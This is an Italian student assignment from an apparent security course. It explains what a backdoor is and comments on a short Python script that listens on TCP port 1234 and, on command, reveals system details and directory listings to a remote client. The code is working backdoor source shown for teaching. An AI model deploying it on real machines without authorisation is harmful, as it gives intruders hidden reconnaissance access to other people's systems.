

CONSEGNA 8 FEBBRAIO S3L4

Commentare e spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.

La backdoor è un'applicazione, nello specifico è una forma di accesso non autorizzato che permette di accedere come amministratore all'interno di siti web e computer. È essenzialmente una porta posteriore che bypassa le normali procedure di sicurezza del sistema. La backdoor può essere introdotta nell'hardware o nell'software di un sistema in diverse fasi di processo, può essere usato da sviluppatori/amministratori a scopi legittimi, per eseguire il debug del software o per accedere nel sistema in caso di emergenza, può invece consentire agli "attaccanti", con scopi malevoli, di eseguire operazioni non autorizzate su sistemi (come l'installazione di malware o furti di dati sensibili), per ottenere accessi privilegiati o per mantenere un accesso continuato al sistema per scopi di spionaggio o controllo remoto.

```
1 import socket, platform, os # importazione dei moduli necessari, Socket è per la comunicazione di rete
2
3 SRV_ADDR = "" #dichiarazione variabile, rappresenta l'indirizzo IP, è vuoto quindi il server accetterà connessioni su
  tutte le interfacce disponibili
4 SRV_PORT = 1234 #Questa è la porta su cui il server accetterà la connessione
5
6 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # costruzione oggetto socket (s), che utilizza l'indirizzo IPV4
  ed il protocollo TCP
7 s.bind((SRV_ADDR, SRV_PORT)) # bind collega il socket appena creato all'indirizzo e la porta specificati
  (_ADDR, _PORT), così il server sarà in ascolto sulla porta 1234 per le connessioni in ingresso
8 s.listen(1) # Il server comincia ad ascoltare le connessioni in arrivo, accetta una connessione alla volta (1)
9 connection, address = s.accept() #Il programma si blocca su questa riga finché non viene stabilita una connessione.
  Qui il programma accetta una connessione in arrivo e restituisce un nuovo oggetto di connessione e l'indirizzo del
  client
10
11 print ("client connected: ", address) #Stampa un messaggio indicando che il client è connesso al server, e stampa
  l'indirizzo del client
12
13 while 1: # Ciclo che continua all'infinito (1 = TRUE), fino a quando non viene interrotto
14     try: #Blocco try/except cattura le eccezioni che possono verificarsi durante la ricezione dei dati ( come il
  mancato collegamento del client) e continua con il ciclo.
15         data = connection.recv(1024) #il server riceve dati inviati dall'client, utilizza il metodo recv() sul
  metodo connection. Il parametro 1024 indica la dimensione massima dei dati che il server può ricevere
16     except:
17         continue
18
19     if(data.decode('utf-8') == '1'):#Se il client inserisce 1, il server esegue il costrutto if
20         tosend = platform.platform() + " " + platform.machine() #il server utilizza il modulo platform per
  ottenere informazioni sul sistema, concatena le informazioni in una stringa tosend
21         connection.sendall(tosend.encode()) # invia la stringa al client codificata in utf-8 utilizzando il
  metodo sendall sull'oggetto di connessione
22     elif(data.decode('utf-8') == '2'):#se il client inserisce 2, il server esegue il costrutto elif
23         data = connection.recv(1024) # il server riceve un percorso dal client
24         try:
25             filelist = os.listdir(data.decode('utf-8')) #il server tenta di elencare i file nella
  directory
26             tosend = ""
27             for x in filelist:
28                 tosend += "," + x #se il percorso è valido, concatena i nomi dei file in una stringa
  to send, altrimenti imposta tosend su "wrong path"
29         except:
30             tosend = "Wrong path"
31         connection.sendall(tosend.encode()) #invia la stringa to send al client
32     elif(data.decode('utf-8') == '0'):# se il client inserisce 0, il server esegue il costrutto elif
33         connection.close() #il server chiude la connessione utilizzando il metodo 'close()' sull'oggetto di
  connessione
34         connection, address = s.accept() #il server si prepara ad accettare una nuova connessione
35
```

Questo codice potrebbe essere utilizzato per creare una backdoor, nello specifico può essere inserito in un sistema e utilizzato per controllare e manipolare il sistema da remoto. Di fatto è un server che ascolta su un porta (1234) per connessioni TCP in ingresso. Dopo aver stabilito una connessione, il server ascolta i comandi inviati dal client e risponde .